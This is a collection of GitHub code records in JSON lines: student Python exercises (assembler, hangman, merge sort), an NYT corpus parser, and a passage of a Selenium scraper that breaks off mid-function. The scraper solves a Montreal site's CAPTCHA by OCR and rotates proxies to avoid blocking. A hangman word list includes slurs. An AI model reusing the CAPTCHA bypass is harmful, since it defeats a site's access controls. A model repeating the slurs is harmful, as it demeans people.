'JEQ': '010',\n 'JGE': '011',\n 'JLT': '100',\n 'JNE': '101',\n 'JLE': '110',\n 'JMP': '111',\n }\n\n def dest(self, value: str) -> str:\n return self.destDict[value]\n\n def comp(self, value: str) -> str:\n return self.compDict[value]\n\n def jump(self, value: str) -> str:\n return self.jumpDict[value]\n\n\nclass SymbolTable:\n def __init__(self):\n self.symbolTable = {\n 'SP': 0x00000,\n 'LCL': 0x0001,\n 'ARG': 0x0002,\n 'THIS': 0x0003,\n 'THAT': 0x0004,\n 'R0': 0x0000,\n 'R1': 0x0001,\n 'R2': 0x0002,\n 'R3': 0x0003,\n 'R4': 0x0004,\n 'R5': 0x0005,\n 'R6': 0x0006,\n 'R7': 0x0007,\n 'R8': 0x0008,\n 'R9': 0x0009,\n 'R10': 0x000a,\n 'R11': 0x000b,\n 'R12': 0x000c,\n 'R13': 0x000d,\n 'R14': 0x000e,\n 'R15': 0x000f,\n 'SCREEN': 0x4000,\n 'KBD': 0x6000,\n }\n\n def addEntry(self, symbol: str, address: int) -> None:\n self.symbolTable[symbol] = address\n\n def contains(self, symbol: str) -> bool:\n return symbol in self.symbolTable\n\n def GetAddress(self, symbol: str) -> int:\n return self.symbolTable[symbol]\n\n\nclass HackAssembler:\n def __init__(self, filePath: str):\n self.symbolTable = SymbolTable()\n self.code = Code()\n self.initialPass(filePath)\n self.processFile(filePath)\n\n def initialPass(self, filePath: str) -> None:\n parser = Parser(filePath)\n counter = 0\n while parser.hasMoreCommands():\n commandType = parser.commandType()\n if commandType == CommandType.L_COMMAND:\n self.symbolTable.addEntry(parser.symbol(), counter)\n else:\n counter += 1\n parser.advance()\n\n def processFile(self, filePath: str) -> None:\n self.parser = Parser(filePath)\n self.n = 16\n fileHackPath = filePath.split('.asm')[0] + '.hack'\n with open(fileHackPath, 'w') as f:\n while self.parser.hasMoreCommands():\n line = self.processLine()\n if line != None:\n f.write(line + '\\n')\n self.parser.advance()\n\n def processLine(self) -> str:\n commandType = self.parser.commandType()\n if commandType == CommandType.C_COMMAND:\n return '111' + self.code.comp(self.parser.comp()) + self.code.dest(self.parser.dest()) + self.code.jump(self.parser.jump())\n elif commandType == CommandType.L_COMMAND:\n return None\n elif commandType == CommandType.A_COMMAND:\n symbol = self.parser.symbol()\n if symbol.isdigit():\n address = int(symbol)\n else:\n if not self.symbolTable.contains(symbol):\n self.symbolTable.addEntry(symbol, self.n)\n self.n += 1\n address = self.symbolTable.GetAddress(symbol)\n return '0' + format(address, '015b')\n\n\nif __name__ == '__main__':\n HackAssembler(sys.argv[1])\n","repo_name":"buzz-code/nand2tetris","sub_path":"projects/06/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"28388997289","text":"\"\"\"\nRead file into texts and calls.\nIt's ok if you don't understand how to read files\n\"\"\"\nimport csv\nwith open('texts.csv', 'r') as f:\n reader = csv.reader(f)\n texts = list(reader)\n\nwith open('calls.csv', 'r') as f:\n reader = csv.reader(f)\n calls = list(reader)\n\n\"\"\"\nTASK 2: Which telephone number spent the longest time on the phone\nduring the period? Don't forget that time spent answering a call is\nalso time spent on the phone.\nPrint a message:\n\" spent the longest time, seconds, on the phone during \nSeptember 2016.\".\n\"\"\"\n# Dictionary to store the total length for each caller\ncall_length = {}\n\nfor call in calls:\n if call[0] not in call_length.keys():\n call_length[call[0]] = int(call[3])\n else:\n call_length[call[0]] += int(call[3])\n \n if call[1] not in call_length.keys():\n call_length[call[1]] = int(call[3])\n else:\n call_length[call[1]] += int(call[3])\n\nmax_call_number = max(call_length, key = call_length.get)\nmax_call_length = max(call_length.values())\n\nprint(\"{} spent the longest time, {} seconds, on the phone during September 2016.\".format(max_call_number, max_call_length))\n\n# Worst Case Scenario\n# Time Complexity O(n): Each record will at most 4 operations, 4n + 4(1 dict creation + 2 calculation + 1 print) => O(n)\n# Space Complexity O(n): Store all records if all are distinct\n","repo_name":"SEPHIRONOVA/Data-Structure-and-Algorithm-Nanodegree","sub_path":"Project 1 - Unscramble Computer Science Problems/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"14110601032","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb 21 11:43:52 2017\r\n\r\n@author: Joshua\r\n\"\"\"\r\n#import random\r\n\r\n#print(\"Lets play a game of hangman, here we go\")\r\n\r\n#count = 0\r\n\r\n#class Hangman():\r\n \r\n # words = (\"wanker\", \"retard\", \"idiot\", \"homework\", \"school\", \"hangman\")\r\n # guesses = 0\r\n # letters_used = \"\"\r\n #secretword = random.choice(words)\r\n \r\n # while guesses < 6:\r\n # guess = input(\"Guess a letter\")\r\n \r\n # if guess in words and not letters_used:\r\n # print(\"good guess\")\r\n # letters_used += \",\" + guess\r\n # print(\"letters used: \", letters_used)\r\n \r\n # elif guess not in words and not(letters_used):\r\n # guesses += 1\r\n # print('Wrong, you have', 6 - guesses, \" guesses left\")\r\n \r\n # else:\r\n # print(\"your dumb, try again\")\r\n \r\nimport random\r\n\r\nname = str(input(\"What's your name?\"))\r\nprint(\"Hello,\", name + \"!\")\r\nfailures = 0\r\nallowed = 1\r\nguessed = str()\r\nwordlist = ['hangman', 'dinner', 'computer', 'america', 'olympics', 'football', 'minecraft', 'jacket', 'cabbage', 'electricity', 'dog',\r\n 'pasta', 'japan', 'water', 'programming', 'anaconda', 'onehunga', 'name', 'windows', 'curtains', 'bieber', 'kirito',\r\n 'montenegro', 'wheel', 'civilization', 'physics', 'bluebird' 'table', 'ACDC', 'guardian yam' 'mario', 'parachute', 'agario', 'obama',\r\n 'youtube', 'putin', 'dairy', 'christianity', 'club penguin', 'oskahlavistah', 'coins', 'agitating', 'jumping', 'eating',\r\n 'your mom', 'executive', 'car', 'jade', 'abraham', 'sand', 'silver', 'uranium', 'oscar is gay', 'bioshock', 'fizzle', 'moonman', 'watermelon',\r\n 'WAHAHAHAHAHA', 'steve jobs', 'extreme', 'weeaboo jones', 'hot damn', name]\r\n\r\ndef correct(guess):\r\n if guess in word:\r\n if guess not in guessed:\r\n print(\"Correct\")\r\n return(True)\r\n else:\r\n if guess not in word and len(guess) == 1 and guess in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ':\r\n if guess not in guessed:\r\n print(\"Incorrect!\")\r\n return(False)\r\n\r\nprint(\"Guess this word!\")\r\nprint(\"You can input any letter from A to Z and the space key.\")\r\nwordnumber = random.randint(0, len(wordlist))\r\nword = (wordlist[wordnumber])\r\nprint(\"_ \"*len(word))\r\nwhile failures < allowed:\r\n guess = str(input(\"Guess a letter!\"))\r\n if len(guess) != 1 or guess not in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ':\r\n print(\"That is not a letter, try again.\")\r\n if guess in guessed:\r\n print(\"You have already guessed that letter, try again.\")\r\n iscorrect = correct(guess)\r\n guessed = guessed, guess\r\n if iscorrect == True:\r\n print(\"Word display still in development\")\r\n if iscorrect == False:\r\n print(\"You suck\")\r\n failures = failures+1\r\n print(\"You have\", allowed , \"guesses left.\")\r\n if failures == allowed:\r\n replay = str(input(\"Press 1 to play again, press 2 to exit.\"))\r\n if replay == 1:\r\n break\r\n else:\r\n quit()\r\n\r\n","repo_name":"jsavage6/Fin-6320","sub_path":"Fin-6320/Assignment 2/wordguessinggame.py","file_name":"wordguessinggame.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"24302857762","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 7 18:47:24 2021\r\n\r\n@author: artem\r\n\"\"\"\r\n\r\ndef merge_sort(arr):\r\n #this function will only do something if the length of the array is > 1\r\n if len(arr) > 1:\r\n #we need to create to arrays one that goes to the left and one that takes everything from the middle and goes to the right\r\n first_array = arr[0:len(arr)//2] #<-------- returns the slice of original array starting at index 0 ending at len of array dividing by 2\r\n second_array = arr[len(arr)//2:len(arr)] #<---- starts at the len of array (the middle) integer division by 2 and goes till the end\r\n\r\n #I want to perform whole merge_sort algorithm to my first(left) array and my second(right) array\r\n #After these two lines the first_array(left array) and second_array(right array) are in sorted order\r\n merge_sort(first_array)\r\n merge_sort(second_array)\r\n \r\n #Merge them - since now my first_array and second_array are in sorted order I want to merge them to make a bigger array that is sorted\r\n # I want to compare left most of first array to left most of second array so lets do i for left j for right\r\n \r\n i = 0\r\n j = 0\r\n #I also need one for my merged index array so lets just use x\r\n x = 0\r\n \r\n #use a while loop to do my comparison\r\n while i < len(first_array) and j < len(second_array):\r\n if first_array[i] < second_array[j]:\r\n #No we can save the value of my left array inside x which is my merged array\r\n arr[x] = first_array[i]\r\n #now just increase i and increase x \r\n i += 1\r\n x += 1\r\n #in the other case the right array is smaller or equal to my left(second) array so we do the same thing but save the right array into x \r\n #which is my merge array\r\n else:\r\n arr[x] = second_array[j]\r\n #same thing here increase j and x \r\n j += 1\r\n x += 1\r\n \r\n \r\n #Now consider I have to transfer every element in my first_array (left array) into my merge array (x) without considering second_array (right array)\r\n #in this case i < then the len of my first_array(left array)\r\n while i < len(first_array):\r\n #transfer by assigining my first_array of index i to the merged array of index x\r\n arr[x] = first_array[i]\r\n #increase both index's\r\n i += 1\r\n x += 1\r\n \r\n #Need to implement the same thing where every element in my first_array(left array) has already been sorted but there are still missing elements\r\n #in my second_array(right array)\r\n \r\n #I am doing the same thing as before but this time for my second_array basically below:\r\n while j < len(second_array):\r\n arr[x] = second_array[j]\r\n j += 1\r\n x += 1\r\n \r\n return arr\r\n\r\nprint(\"============= ### START OF MY PROGRAM ### =============\") \r\nprint()\r\n\r\nmy_list = [98,23,45,14,6,67,33,42]\r\nprint(\"My current list is: \", my_list)\r\nprint()\r\n\r\n#call for my function merge_sort below\r\nmerge_sort(my_list)\r\nprint(\"After merge_sort function my list is: \")\r\nprint(my_list) \r\n \r\nprint()\r\nprint(\"============= ### END OF MY PROGRAM ### =============\") \r\n ","repo_name":"ArtMerc/Python-Merge-Sort-Algorithm","sub_path":"Merge-Sort-Algorithm.py","file_name":"Merge-Sort-Algorithm.py","file_ext":"py","file_size_in_byte":3411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"28472051038","text":"import sys\nimport hangman_brain as hl\nimport random as r\n\n\nclass Game:\n\n def __init__(self):\n self.welcome_message()\n self.user()\n self.word_completed = False\n self.word = hl.winning_word.get_word()\n self.secret_list = []\n self.user_guess_list = []\n self.display_list = []\n self.lives = self.levels()\n self.display_list_str = \"\"\n self.new_word = hl.winning_word.get_new_word()\n self.list_view()\n self.run()\n\n def welcome_message(self):\n print(\"\\n\")\n print(\"Welcome to Juxhen's Random Number Generator Hangman\\n\")\n\n def user(self):\n name_successful = False\n while not name_successful:\n name = input(\"Please enter your name\\n\").upper()\n if name.isalpha():\n print(f\"Welcome {name} I wish you the best of luck lets start!\")\n name_successful = True\n else:\n print(\"Please enter letters only!\")\n name_successful = False\n return name\n\n def levels(self):\n level_choice = \"\"\n flag = False\n while not flag:\n level_choice = input(\"Please pick a level, 'Easy', 'Medium', 'Hard'\\n\").upper()\n if level_choice == \"EASY\":\n print(\"Easy it is!\")\n return 100\n flag = True\n elif level_choice == \"MEDIUM\":\n print(\"Medium it is!\")\n return 70\n flag = True\n elif level_choice == \"HARD\":\n print(\"Hard it is!\")\n return 50\n flag = True\n else:\n print(\"Please enter a valid difficulty\")\n flag = False\n\n def health(self, lives_in_health, damage_taken):\n if lives_in_health - damage_taken < 0:\n new_health = 0\n print(f\"Congratulations, you're dead, the word was: {self.word}\")\n self.new_game()\n else:\n new_health = lives_in_health - damage_taken\n print(f\"sorry you lost {damage_taken} HP you are at {new_health} HP\")\n return new_health\n\n def list_view(self):\n for letter in self.word:\n self.secret_list.append(letter)\n # print(secret_list)\n\n for blanks in range(0, len(self.secret_list)):\n self.display_list.append(\"_\")\n self.display_list_str = \" \".join(self.display_list)\n print(self.display_list_str)\n\n def run(self):\n while not self.word_completed and self.lives > 0:\n user_guess = input(\"Guess a letter!\\n\").upper()\n if user_guess.isalpha() and len(user_guess) == 1:\n if user_guess in self.user_guess_list:\n print(f\"sorry you have already guessed {user_guess} please pick another letter\")\n elif user_guess not in self.secret_list:\n health_loss_rng = r.randint(1, 10)\n self.lives = self.health(self.lives, health_loss_rng)\n else:\n self.user_guess_list.append(user_guess)\n index_counter = 0\n for letter in self.secret_list:\n if letter == user_guess:\n self.display_list[index_counter] = letter\n index_counter += 1\n print(f\"Horray you matched the letter {user_guess}\")\n if \"_\" not in self.display_list:\n print(f\"Congratulations, the word was: {self.word}\")\n self.word_completed = True\n self.new_game()\n self.display_list_str = \" \".join(self.display_list)\n print(f\"{self.display_list_str}\")\n else:\n print(f\"sorry {user_guess} is not a letter\")\n\n\n def start_new_game(self):\n self.word = hl.winning_word.get_new_word()\n return self.word\n\n def new_game(self):\n choice = input(\"Would you like to play again? Yes/No\\n\").upper()\n if choice == \"YES\":\n self.start_new_game()\n else:\n print(\"Thank you for playing\")\n sys.exit()\n\nnew_game = Game()","repo_name":"Juxhen/Data14Python","sub_path":"OOP/hangman_game_2.py","file_name":"hangman_game_2.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"8030649577","text":"from bs4 import BeautifulSoup\nimport pandas as pd\nimport numpy as np\nimport csv\nimport sys\n\n\n# Functions that look for individual data points for an article\n\ndef get_title(article_soup):\n\ttry:\n\t\ttitle = article_soup.head.title.text\n\texcept Exception:\n\t\ttitle = None\n\tfinally:\n\t\treturn title\n\ndef get_metadata(article_soup):\n\tmetadata = {'publication_day_of_month': None,\n\t\t'publication_month': None,\n\t\t'publication_year': None,\n\t\t'publication_day_of_week': None,\n\t\t'dsk': None,\n\t\t'print_page_number': None,\n\t\t'print_section': None,\n\t\t'print_column': None,\n\t\t'online_sections': None}\n\ttry:\n\t\tmetas = article_soup.head.find_all('meta')\n\t\tfor meta in metas:\n\t\t\ttry:\n\t\t\t\tmetadata[meta['name']] = int(meta['content'])\n\t\t\texcept Exception:\n\t\t\t\tmetadata[meta['name']] = meta['content']\n\tfinally:\n\t\treturn metadata\n\ndef get_id(article_soup):\n\ttry:\n\t\tid_ = article_soup.head.docdata.find('doc-id')['id-string']\n\texcept Exception:\n\t\tid_ = None\n\tfinally:\n\t\treturn id_\n\ndef get_copyright(article_soup, item):\n\ttry:\n\t\tcopyright_item = article_soup.head.docdata.find('doc.copyright')[item]\n\texcept Exception:\n\t\tcopyright_item = None\n\tfinally:\n\t\ttry:\n\t\t\treturn int(copyright_item)\n\t\texcept Exception:\n\t\t\treturn copyright_item\n\ndef get_series(article_soup):\n\ttry:\n\t\tseries_name = article_soup.head.docdata.series['series.name']\n\texcept Exception:\n\t\tseries_name = None\n\tfinally:\n\t\treturn series_name\n\ndef get_length(article_soup):\n\ttry:\n\t\tlength = int(article_soup.head.pubdata['item-length'])\n\t\tlength_unit = article_soup.head.pubdata['unit-of-measure']\n\texcept Exception:\n\t\tlength, length_unit = None, None\n\tfinally:\n\t\treturn length, length_unit\n\ndef get_indexing_service(article_soup, item_type):\n\ttry:\n\t\tindex_item = article_soup.head.docdata.find('identified-content').find(item_type, class_ = 'indexing_service').text\n\texcept Exception:\n\t\tindex_item = None\n\tfinally:\n\t\treturn index_item\n\ndef get_classifiers(article_soup):\n\tcl = {'indexing_service_descriptor': None,\n\t\t'online_producer_types_of_material': None,\n\t\t'online_producer_taxonomic_classifier': None,\n\t\t'online_producer_descriptor': None,\n\t\t'online_producer_general_descriptor': None}\n\ttry:\n\t\tclassifiers = article_soup.head.docdata.find('identified-content').find_all('classifier')\n\t\tfor classifier in classifiers:\n\t\t\tif cl[classifier['class']+'_'+classifier['type']] == None:\n\t\t\t\tcl[classifier['class']+'_'+classifier['type']] = [classifier.text]\n\t\t\telse:\n\t\t\t\tcl[classifier['class']+'_'+classifier['type']].append(classifier.text)\n\tfinally:\n\t\treturn cl\n\ndef get_headline(article_soup):\n\ttry:\n\t\theadline = article_soup.body.find('body.head').hedline.hl1.text\n\texcept Exception:\n\t\theadline = None\n\tfinally:\n\t\treturn headline\n\ndef get_online_headline(article_soup):\n\ttry:\n\t\tonline_headline = article_soup.body.find('body.head').hedline.find('hl2', class_ = 'online_headline').text\n\texcept Exception:\n\t\tonline_headline = None\n\tfinally:\n\t\treturn online_headline\n\ndef get_byline(article_soup, byline_type):\n\ttry:\n\t\tbyline = article_soup.body.find('body.head').find('byline', class_ = byline_type).text\n\texcept Exception:\n\t\tbyline = None\n\tfinally:\n\t\treturn byline\n\ndef get_abstract(article_soup):\n\ttry:\n\t\tstrings = article_soup.body.find('body.head').abstract.stripped_strings\n\t\tabstract = ''\n\t\tfor string in strings:\n\t\t\tabstract = abstract + ' ' + string\n\texcept Exception:\n\t\tabstract = None\n\tfinally:\n\t\treturn abstract\n\ndef get_body_content(article_soup, content_type):\n\ttry:\n\t\tstrings = article_soup.body.find('body.content').find('block', class_ = content_type).stripped_strings\n\t\ts = ''\n\t\tfor string in strings:\n\t\t\ts = s + ' ' + string\n\texcept Exception:\n\t\ts = None\n\tfinally:\n\t\treturn s\n\ndef get_author_info(article_soup):\n\ttry:\n\t\tauthor_info = article_soup.body.find('body.end').find('tagline', class_ = 'author_info').text\n\texcept Exception:\n\t\tauthor_info = None\n\tfinally:\n\t\treturn author_info\n\n\n\n# Gathers article data if available and saves to dictionary\n\ndef parse_article(article_soup, new_article_obj):\n\n\t# Get article attributes from soup\n\tmetadata = get_metadata(article_soup)\n\tlength, length_unit = get_length(article_soup)\n\tclassifiers = get_classifiers(article_soup)\n\n\tnew_article_obj['title'].append(get_title(article_soup))\n\tnew_article_obj['publication_day_of_month'].append(metadata['publication_day_of_month'])\n\tnew_article_obj['publication_month'].append(metadata['publication_month'])\n\tnew_article_obj['publication_year'].append(metadata['publication_year'])\n\tnew_article_obj['publication_day_of_week'].append(metadata['publication_day_of_week'])\n\tnew_article_obj['desk'].append(metadata['dsk'])\n\tnew_article_obj['print_page_number'].append(metadata['print_page_number'])\n\tnew_article_obj['print_section'].append(metadata['print_section'])\n\tnew_article_obj['print_column'].append(metadata['print_column'])\n\tnew_article_obj['online_sections'].append(metadata['online_sections'])\n\tnew_article_obj['id'].append(get_id(article_soup))\n\tnew_article_obj['copyright_holder'].append(get_copyright(article_soup,'holder'))\n\tnew_article_obj['copyright_year'].append(get_copyright(article_soup,'year'))\n\tnew_article_obj['series_name'].append(get_series(article_soup))\n\tnew_article_obj['indexing_descriptor'].append(classifiers['indexing_service_descriptor'])\n\tnew_article_obj['indexing_location'].append(get_indexing_service(article_soup,'location'))\n\tnew_article_obj['indexing_org'].append(get_indexing_service(article_soup,'org'))\n\tnew_article_obj['indexing_person'].append(get_indexing_service(article_soup,'person'))\n\tnew_article_obj['types_of_material'].append(classifiers['online_producer_types_of_material'])\n\tnew_article_obj['taxonomic_classifier'].append(classifiers['online_producer_taxonomic_classifier'])\n\tnew_article_obj['descriptor'].append(classifiers['online_producer_descriptor'])\n\tnew_article_obj['general_descriptor'].append(classifiers['online_producer_general_descriptor'])\n\tnew_article_obj['length'].append(length)\n\tnew_article_obj['length_unit'].append(length_unit)\n\tnew_article_obj['headline'].append(get_headline(article_soup))\n\tnew_article_obj['online_headline'].append(get_online_headline(article_soup))\n\tnew_article_obj['print_byline'].append(get_byline(article_soup,'print_byline'))\n\tnew_article_obj['normalized_byline'].append(get_byline(article_soup,'normalized_byline'))\n\tnew_article_obj['abstract'].append(get_abstract(article_soup))\n\tnew_article_obj['lead_paragraph'].append(get_body_content(article_soup,'lead_paragraph'))\n\tnew_article_obj['full_text'].append(get_body_content(article_soup,'full_text'))\n\tnew_article_obj['author_info'].append(get_author_info(article_soup))\n\n\n\n# Functions for choosing random articles\n\ndef create_file_index():\n\tdf = pd.read_csv('data/nyt_corpus_docs/file.txt', names = ['filepath'])\n\tdf_filtered = df.drop(df[~df['filepath'].str.endswith('.xml')].index)\n\tdf_filtered.sort_values(by = ['filepath'], ascending=True, inplace=True)\n\tdf_filtered.to_csv('data/file_index.txt', header=False, index=False)\n\ndef get_article_list(num_articles):\n\tarticle_df = pd.read_csv('data/file_index.txt', names = ['filepath'])\n\tarticle_list = list(article_df['filepath'].sample(num_articles))\n\n\tprint('Got list of ' + str(num_articles) + ' random articles.')\n\treturn article_list\n\n\n# Converts a selected article to soup\n\ndef get_article(xml_text):\n\tsoup = BeautifulSoup(xml_text, 'xml')\n\treturn soup\n\n\n# Saves final output to CSV\n\ndef save_data(article_obj, filename):\n\tdf = pd.DataFrame(article_obj)\n\tdf.to_csv(filename, index = False)\n\n\n \n# Gets a list of random articles, parses them, and saves to a CSV file\n\ndef create_csv_file(n):\n\tarticle_obj = {\n\t\t'title': []\n\t\t, 'publication_day_of_month': []\n\t\t, 'publication_month': []\n\t\t, 'publication_year': []\n\t\t, 'publication_day_of_week': []\n\t\t, 'desk': []\n\t\t, 'print_page_number': []\n\t\t, 'print_section': []\n\t\t, 'print_column': []\n\t\t, 'online_sections': []\n\t\t, 'id': []\n\t\t, 'copyright_holder': []\n\t\t, 'copyright_year': []\n\t\t, 'series_name': []\n\t\t, 'indexing_descriptor': []\n\t\t, 'indexing_location': []\n\t\t, 'indexing_org': []\n\t\t, 'indexing_person': []\n\t\t, 'types_of_material': []\n\t\t, 'taxonomic_classifier': []\n\t\t, 'descriptor': []\n\t\t, 'general_descriptor': []\n\t\t, 'length': []\n\t\t, 'length_unit': []\n\t\t, 'headline': []\n\t\t, 'online_headline': []\n\t\t, 'print_byline': []\n\t\t, 'normalized_byline': []\n\t\t, 'abstract': []\n\t\t, 'lead_paragraph': []\n\t\t, 'full_text': []\n\t\t, 'author_info': []\n\t}\n\n\tarticle_list = get_article_list(n)\n\n\tfor article in article_list:\n\t\tif article_list.index(article) % 100 == 0:\n\t\t\tprint('Parsing article ' + str(article_list.index(article)))\n\n\t\tarticle_soup = get_article(open('data/'+article))\n\t\tparse_article(article_soup, article_obj)\n\n\tsave_data(article_obj, 'data/nyt_corpus_'+str(n)+'.csv')\n\n\nif __name__ == '__main__':\n\t#create_file_index() # doesn't need to be run again\n\tn = int(sys.argv[1])\n\tcreate_csv_file(n)\n\n\n\n","repo_name":"carmen16/news-article-topic-classification","sub_path":"parse_corpus.py","file_name":"parse_corpus.py","file_ext":"py","file_size_in_byte":8796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"37609402754","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import NoSuchElementException, TimeoutException\nfrom selenium.webdriver.common.keys import Keys\nfrom datetime import datetime, timezone\nfrom itertools import chain\nimport psycopg2 as pg\nimport pytesseract\nimport logging\nimport time\nimport cv2\nimport os\n\ntry:\n\timport Image\nexcept ImportError:\n\tfrom PIL import Image\n\n\nclass Collector():\n\tdef setup(self, threadName, browser='Firefox',useProxy=True):\n\t\tif os.name == 'nt':\n\t\t\tpytesseract.pytesseract.tesseract_cmd = 'C:\\\\Program Files (x86)\\\\Tesseract-OCR\\\\tesseract'\n\t\tlogging.basicConfig(level=logging.INFO, filename='test.log',filemode='a')\n\t\tself.useProxy = useProxy\n\t\tself.browser = browser\n\t\tself.StartBrowser()\n\t\tself.number = 1\n\t\tself.nextNumber = 1\n\t\tself.failInfo = ''\n\t\tself.specificPlace = ''\n\t\tself.count = 0\n\t\tself.threadName = str(threadName)\n\tdef StartBrowser(self):\n\t\tif self.browser == 'Firefox':\n\t\t\tprofile = webdriver.FirefoxProfile()\n\t\t\t#profile.set_preference('webdriver.load.strategy', 'unstable')\n\t\t\tcapabilities = {\"pageLoadStrategy\":\"none\"}\n\t\t\tprofile.set_preference(\"browser.helperApps.neverAsk.saveToDisk\",\"application/pdf\")\n\t\t\tprofile.set_preference('pdfjs.disabled',True)\n\t\t\tprofile.set_preference(\"browser.download.manager.showWhenStarting\", False);\n\t\t\tprofile.set_preference(\"browser.download.folderList\", 2)\n\t\t\tif os.name is not 'nt':\n\t\t\t\tprofile.set_preference(\"browser.download.dir\", '/home/gnorme/Downloads')\n\t\t\tprofile.set_preference(\"browser.download.useDownloadDir\", True)\n\t\t\tprofile.set_preference(\"services.sync.prefs.sync.browser.download.manager.showWhenStarting\", False)\n\t\t\tprofile.set_preference('browser.link.open_newwindow', 3)\n\t\t\tprofile.set_preference('browser.link.open_newwindow.restriction', 0)\n\t\t\tprofile.set_preference('browser.link.open_newwindow.override.external', -1)\n\t\t\tif self.useProxy:\n\t\t\t\tself.GetProxy()\n\t\t\t\t#profile.set_preference('dom.popup_allowed_events', 0)\n\t\t\t\tprofile.set_preference(\"network.proxy.type\", 1)\n\t\t\t\tprofile.set_preference(\"network.proxy.http\", self.proxy[0])\n\t\t\t\tprofile.set_preference(\"network.proxy.http_port\", int(self.proxy[1]))\n\t\t\t\tprofile.set_preference(\"network.proxy.ssl\", self.proxy[0])\n\t\t\t\tprofile.set_preference(\"network.proxy.ssl_port\", int(self.proxy[1]))\n\t\t\tself.driver = webdriver.Firefox(profile, capabilities=capabilities,executable_path='geckodriver')\n\t\tif self.browser == 'Chrome':\n\t\t\tchrome_options = webdriver.ChromeOptions()\n\t\t\tchrome_options.add_argument(\"--disable-infobars\")\n\t\t\tprefs = {\"download.prompt_for_download\": False, \"plugins.always_open_pdf_externally\": True}\n\t\t\tchrome_options.add_experimental_option(\"prefs\",prefs)\n\t\t\tcapabilities = {\"pageLoadStrategy\":\"none\"}\n\t\t\tchrome_options.add_argument('--silent')\n\t\t\tchrome_options.add_argument('--disable-logging')\n\t\t\tif self.useProxy:\n\t\t\t\tself.GetProxy()\n\t\t\t\tchrome_options.add_argument('--proxy-server='+self.proxy[0]+':'+self.proxy[1])\n\t\t\tself.driver = webdriver.Chrome(chrome_options=chrome_options,desired_capabilities=capabilities)\n\t\tself.driver.set_window_size(1080,1000)\n\n\tdef Captcha(self, times):\n\t\tif self.useProxy:\n\t\t\ttry:\n\t\t\t\tself.driver.get(\"https://servicesenligne2.ville.montreal.qc.ca/sel/evalweb/index\")\n\t\t\texcept WebDriverException:\n\t\t\t\tself.ChangeProxy()\n\t\t\t\tself.driver.get(\"https://servicesenligne2.ville.montreal.qc.ca/sel/evalweb/index\")\n\t\telse:\n\t\t\tself.driver.get(\"https://servicesenligne2.ville.montreal.qc.ca/sel/evalweb/index\")\n\t\tfor i in range(0,times):\n\t\t\ttry:\n\t\t\t\telement_present = EC.visibility_of_element_located((By.XPATH, '//*[@id=\"type_recherche\"]/div[5]/div/img'))\n\t\t\t\twait = WebDriverWait(self.driver, 15).until(element_present)\n\t\t\texcept TimeoutException:\n\t\t\t\tself.ChangeProxy()\n\t\t\t\tself.driver.get(\"https://servicesenligne2.ville.montreal.qc.ca/sel/evalweb/index\")\n\t\t\t\tcontinue\n\t\t\ttry:\n\t\t\t\tself.driver.save_screenshot('screenshot'+self.threadName+'.png')\n\t\t\texcept:\n\t\t\t\ttime.sleep(0.5)\n\t\t\t\tself.driver.save_screenshot('screenshot'+self.threadName+'.png')\n\n\t\t\ttime.sleep(0.5)\n\t\t\tcode = self.Solve()\n\t\t\tself.driver.find_element_by_name(\"HTML_FORM_FIELD\").send_keys(code)\n\t\t\tbtn = self.driver.find_element_by_tag_name(\"button\")\n\t\t\tbtn.click()\n\t\t\ttry:\n\t\t\t\twait = WebDriverWait(self.driver, 10)\n\t\t\t\twait.until(EC.staleness_of(btn))\n\t\t\texcept TimeoutException:\n\t\t\t\tself.failInfo = 'Timeout on captcha'\n\t\t\t\treturn False\n\t\t\ttry:\n\t\t\t\tself.driver.find_element_by_name(\"HTML_FORM_FIELD\")\n\t\t\texcept NoSuchElementException:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tcontinue\n\n\t\treturn False\n\n\tdef Form(self, number, name, road, place):\n\t\tself.failInfo = ''\n\t\telement_present = EC.presence_of_element_located((By.ID, 'noCiviq'))\n\t\ttry:\n\t\t\tWebDriverWait(self.driver, 10).until(element_present)\n\t\texcept TimeoutException:\n\t\t\treturn False\n\n\t\tnum = self.driver.find_element_by_id(\"noCiviq\")\n\t\tnum.send_keys(number)\n\n\t\tst = self.driver.find_element_by_id(\"rue-tokenfield\")\n\t\tst.send_keys(name)\n\n\t\twait = WebDriverWait(self.driver, 10)\n\t\ttry:\n\t\t\twait.until(EC.visibility_of_element_located((By.CLASS_NAME, \"ui-menu-item\")))\n\t\texcept TimeoutException:\n\t\t\treturn False\n\n\t\tplaces = []\n\t\tplaceOptions = []\n\t\tdropdown = self.driver.find_element_by_xpath('//*[@id=\"ui-id-1\"]')\n\t\tfor option in dropdown.find_elements_by_tag_name('li'):\n\t\t\twords = option.text.split(' ')\n\t\t\tif road in words and name in words and '('+place+')' in words:\n\t\t\t\tplaces.append(option.text)\n\t\t\t\tplaceOptions.append(option)\n\t\t\t\t#break\n\t\ttry:\n\t\t\tif len(self.specificPlace) > 0:\n\t\t\t\tif self.specificPlace in places:\n\t\t\t\t\tindex = places.index(self.specificPlace)\n\t\t\t\t\tif index >= 